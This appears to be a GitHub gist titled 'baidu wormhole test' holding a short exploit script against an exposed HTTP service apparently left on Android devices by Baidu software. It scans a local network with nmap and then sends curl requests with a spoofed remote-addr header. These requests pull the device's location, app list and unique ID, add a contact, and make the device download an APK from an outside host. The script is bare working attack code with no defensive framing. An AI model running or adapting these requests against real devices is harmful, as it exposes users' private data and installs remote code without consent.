Skip to content

Instantly share code, notes, and snippets.

@tqyq
Last active August 14, 2016 04:06
Show Gist options
  • Save tqyq/282c5e2542d8db1c324a to your computer and use it in GitHub Desktop.
Save tqyq/282c5e2542d8db1c324a to your computer and use it in GitHub Desktop.
baidu wormhole test
nmap -sT -sV -p6259,40310 -P0 -n 192.168.2.0/24
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getlocstring?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getapplist?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/getcuid?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/downloadfile?mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506&querydown=download&downloadurl=http://pub.tsingyuan.cn/wtest.apk&savepath=test&filesize=1"
curl -H remote-addr:127.0.0.1 "http://192.168.2.15:40310/addcontactinfo?secret=0&mcmdf=inapp_baidu_bdgjs&callback=_box_jsonp506&postdata=\[\{\"name\":\"zzzz\",\"starred\":\"1\"\}\]"
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment